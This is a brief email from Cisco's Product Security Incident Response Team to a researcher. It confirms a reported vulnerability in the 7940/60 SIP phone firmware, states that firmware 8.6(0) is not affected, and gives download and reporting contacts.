Hi Radu,

Thanks for reporting this issue to Cisco's Product Security Incident
Response Team (PSIRT).

We have confirmed your findings with the 7940/60 SIP P0S3-07-4-00
firmware. Cisco has also confirmed that firmware version 8.6(0)
(POS8-6-0) is not vulnerable to this issue. The latest firmware images
for Cisco 7940/60 phones can be obtained here:

http://www.cisco.com/cgi-bin/tablebuild.pl/ip-7900ser

We are always open for vulnerability reports regarding any Cisco
products. Such reports can be directly sent to us at psirt@...co.com or
to security-alert@...co.com in case of an emergency.

Best regards,

Matthew Cerha
Cisco Systems
